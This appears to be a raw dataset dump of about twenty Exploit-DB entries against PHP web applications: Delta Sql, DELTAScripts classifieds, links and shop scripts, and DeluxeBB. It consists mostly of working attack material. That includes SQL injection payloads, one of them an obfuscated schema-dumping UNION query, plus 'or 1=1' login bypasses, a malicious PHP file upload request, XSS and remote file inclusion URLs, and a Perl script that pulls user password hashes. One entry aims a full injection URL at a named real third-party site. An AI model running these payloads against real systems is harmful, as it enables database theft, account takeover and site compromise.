deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45700
Description: Delta Sql 1.8.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-26
Author: Ihsan Sencan

Exploit:
# Exploit Title: Delta Sql 1.8.2 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://deltasql.sourceforge.net/
# Software Link: https://sourceforge.net/projects/deltasql/files/latest/download
# Software Link: http://deltasql.sourceforge.net/deltasql/
# Version: 1.8.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/docs_manage.php?id=[SQL]&version=1&hasdocs=1
 
GET /[PATH]/docs_manage.php?id=1++uNiOn+seleCt+0x31,0x32,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),0x34,0x35--+-&version=1&hasdocs=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ra5c0bgati64a01fag01l8hhf0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 24 Oct 2018 00:12:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/list_project_modules.php?id=[SQL]&name=1
 
GET /[PATH]/list_project_modules.php?id=-1%20union%20select%20null,(0x32),null--&name=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ra5c0bgati64a01fag01l8hhf0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 24 Oct 2018 00:08:03 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2150
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #45685
Description: Delta Sql 1.8.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ihsan Sencan

Exploit:
# Exploit Title: Delta Sql 1.8.2 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://deltasql.sourceforge.net/
# Software Link: https://sourceforge.net/projects/deltasql/files/latest/download
# Software Link: http://deltasql.sourceforge.net/deltasql/
# Version: 1.8.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/docs_manage.php?id=1
# 
# http://localhost/[PATH]/upload/[FILE]
 
POST /[PATH]/docs_upload.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/docs_manage.php?id=1
Cookie: PHPSESSID=ra5c0bgati64a01fag01l8hhf0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
--------------------------[PII_REDACTED][PII_REDACTED]147220435
Content-Length: 721
----------------------------[PII_REDACTED][PII_REDACTED]147220435
Content-Disposition: form-data; name="fileToUpload"; filename="Efe.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
----------------------------[PII_REDACTED][PII_REDACTED]147220435
Content-Disposition: form-data; name="submit"
Upload File
----------------------------[PII_REDACTED][PII_REDACTED]147220435
Content-Disposition: form-data; name="id"
1
----------------------------[PII_REDACTED][PII_REDACTED]147220435
Content-Disposition: form-data; name="version"
----------------------------[PII_REDACTED][PII_REDACTED]147220435
Content-Disposition: form-data; name="hasdocs"
----------------------------[PII_REDACTED][PII_REDACTED]147220435--
HTTP/1.1 200 OK
Date: Thu, 24 Oct 2018 00:24:27 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1783
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<body>
<form action="http://localhost/[PATH]/docs_upload.php" method="post" enctype="multipart/form-data">
    Select document to upload:
    <input name="fileToUpload" id="fileToUpload" type="file">
    <input value="Ver Ayari" name="submit" type="submit">
	<input value="1" name="id" type="hidden">
	<input value="1'" name="version" type="hidden">
	<input value="1" name="hasdocs" type="hidden">
</form>
</body>
</html>
Exploit-DB #27214
Description: DELTAScripts PHP Classifieds 6.20 - 'Member_Login.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-14
Author: Audun Larsen

Exploit:
source: https://www.securityfocus.com/bid/16642/info

PHP Classifieds is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. An attacker can exploit this issue to bypass the authentication mechanism and gain access as an arbitrary user.

The following proof of concept is available:
email@example.com' -- '
Exploit-DB #7023
Description: DELTAScripts PHP Classifieds 7.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-06
Author: ZoRLu

Exploit:
[~] deltascripts phpclassifieds Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 



admin login for demo:

http://localhost/classifieds/admin/login.php


example for demo:

admin: admin ' or ' 1=1

passwd: ZoRLu



example 2:

admin login: 

http://localhost/anunturi/admin/login.php



admin: admin ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-06]
Exploit-DB #7047
Description: DELTAScripts PHP Classifieds 7.5 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: ZoRLu

Exploit:
[~] deltascripts phpclassifieds Remote Sql inj.
[~]
[~] detail.php (siteid) 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/detail.php?siteid=[SQL]

[SQL]=

-99999999+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+user/*

live sites:

http://www.deltascripts.com/phpclassifieds/livesites

for example:

http://www.saabcentral.com/classifieds/detail.php?siteid=-99999999+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+user/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07]
Exploit-DB #37786
Description: DELTAScripts PHP Links - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-09-10
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/55478/info

DeltaScripts PHP Links is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DeltaScripts PHP Links 2012 is vulnerable; other versions may also be affected. 

http://www.example.com/phplinks/index.php?catid=[SQL]

http://www.example.com/phplinks/review.php?id=[SQL]

http://www.example.com/phplinks/search.php?search=[SQL]

http://www.example.com/phplinks/admin/adm_fill_options.php?field=[SQL]

http://www.example.com/phplinks/vote.php

In POST method :

id=[SQL]&rating=

http://www.example.com/phplinks/admin/adm_login.php

In POST method :

admin_[CREDENTIAL_REDACTED]_username=[SQL]&submit=Login

http://www.example.com/phplinks/login.php

In POST method :

email=[SQL]&forgotten=&password=[SQL]&submit=Login
Exploit-DB #33484
Description: DELTAScripts PHP Links 1.0 - 'email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-11
Author: Crux

Exploit:
source: https://www.securityfocus.com/bid/37700/info

DeltaScripts PHP Links is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DeltaScripts PHP Links 1.0 is vulnerable; other versions may be affected as well. 

http://www.example.com/phplinks/login.php?email=%F6"+onmouseover=prompt(31337)//&submit=Login&forgotten=1
Exploit-DB #7024
Description: DELTAScripts PHP Links 1.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-06
Author: ZoRLu

Exploit:
[~] deltascripts phplinks Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 



admin login for demo:

http://localhost/classifieds/admin/login.php


example for demo:

admin: admin ' or ' 1=1

passwd: ZoRLu



example 2:

admin login: 

http://localhost/anunturi/admin/login.php



admin: admin ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-06]
Exploit-DB #27958
Description: DELTAScripts PHP Pro Publish 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-02
Author: Soot

Exploit:
source: https://www.securityfocus.com/bid/18243/info

PHP Pro Publish is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/propublish/art.php?artid="><script>alert(/Soot/)</script>

http://www.example.com/propublish/cat.php?catname="><script>alert(/Soot/)</script>
Exploit-DB #7025
Description: DELTAScripts PHP Shop 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-06
Author: ZoRLu

Exploit:
[~] deltascripts phpShop Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: "Powered by PHP Shop from DeltaScripts"
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 


admin login for demo:

http://demo.deltascripts.com/phpshop/admin/login.php


example for demo:

admin: admin ' or ' 1=1

passwd: ZoRLu


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-06]
Exploit-DB #11071
Description: DELTAScripts PHPClassifieds - 'rate.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-08
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : DELTAScripts PHPClassifieds
Vuln : Blind SQL Injection

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com
WebSite : www.greymen.org<http://www.greymen.org>

Greetz : Zuka, all friends & arab hackers

*/

Vulnerability is in the rate.php , $_GET['id']

[HOST]/[PATH]/rate.php?id=[true value]+[INJECTION]

exemples :
http://server/rate.php?id=405+and+%28select%20version%28%29%29=5--
Exploit-DB #11069
Description: DELTAScripts PHPLinks - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-08
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : DELTAScripts PHPLinks
Vuln : SQL Injection

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com
WebSite : www.greymen.org<http://www.greymen.org/>

Greetz : Zuka, all friends & arab hackers

*/

Vulnerability is in the $_GET['catid']

http://server/[PATH]/index.php?catid=8+union+all+select+1,2,3,4,5,6--
Exploit-DB #41731
Description: Delux Same Day Delivery Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Delux Same Day Delivery Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/delux-same-day-delivery
# Demo: http://deluxesameday.logistic-softwares.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/show_page/[PAGE][SQL]
# Etc...
# # # # #
Exploit-DB #26266
Description: DeluxeBB 1.0 - 'forums.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: abducter

Exploit:
source: https://www.securityfocus.com/bid/14851/info
  
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forums.php?fid=[code]
Exploit-DB #26265
Description: DeluxeBB 1.0 - 'misc.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: abducter

Exploit:
source: https://www.securityfocus.com/bid/14851/info
 
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/misc.php?sub=profile&uid=[code]
Exploit-DB #26268
Description: DeluxeBB 1.0 - 'newpost.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: abducter

Exploit:
source: https://www.securityfocus.com/bid/14851/info
    
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
    
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/newpost.php?sub=newthread&fid=[code]
Exploit-DB #26267
Description: DeluxeBB 1.0 - 'pm.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: abducter

Exploit:
source: https://www.securityfocus.com/bid/14851/info
   
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pm.php?sub=newpm&uid=[code]
Exploit-DB #26264
Description: DeluxeBB 1.0 - 'topic.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: abducter

Exploit:
source: https://www.securityfocus.com/bid/14851/info

DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/topic.php?tid=[code]
Exploit-DB #1793
Description: DeluxeBB 1.06 - 'name' SQL Injection (mq=off)
Type: webapps
Platform: php
Date: 2006-05-15
Author: KingOfSka

Exploit:
#!/usr/bin/perl

use IO::Socket;


print q{
#############################################
# DeluxeBB 1.06 Remote SQL Injection Exploit#
# 	exploit discovered and coded        #
#	   by KingOfSka                     #
#	http://contropotere.netsons.org	    #
#############################################
};

if (!$ARGV[2]) {

print q{ 
	Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1


};

}


$server = $ARGV[0];
$dir    = $ARGV[1];
$user   = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid   = $ARGV[5];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user ;

 
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

 if ($answer =~/(\w{32})/)
{

  if ($1 ne 0) {
   print "Password Hash is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";

      }
exit();
}

}
print "------------------------------------------------------------------------------------------------\r\n";

# milw0rm.com [2006-05-15]
Exploit-DB #1916
Description: DeluxeBB 1.06 - 'templatefolder' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-15
Author: Andreas Sandblad

Exploit:
Secunia Research has discovered some vulnerabilities in DeluxeBB,
which can be exploited by malicious people to conduct SQL injection
attacks and compromise a vulnerable system.

1) Input passed to the "templatefolder" parameter in various scripts
isn't properly verified, before it is used to include files. This can
be exploited to include arbitrary files from external and local
resources.

Examples:
http://[host]/templates/deluxe/postreply.php?templatefolder=[file]
http://[host]/templates/deluxe/posting.php?templatefolder=[file]
http://[host]/templates/deluxe/pm/newpm.php?templatefolder=[file]
http://[host]/templates/default/postreply.php?templatefolder=[file]
http://[host]/templates/default/posting.php?templatefolder=[file]
http://[host]/templates/default/pm/newpm.php?templatefolder=[file]

# milw0rm.com [2006-06-15]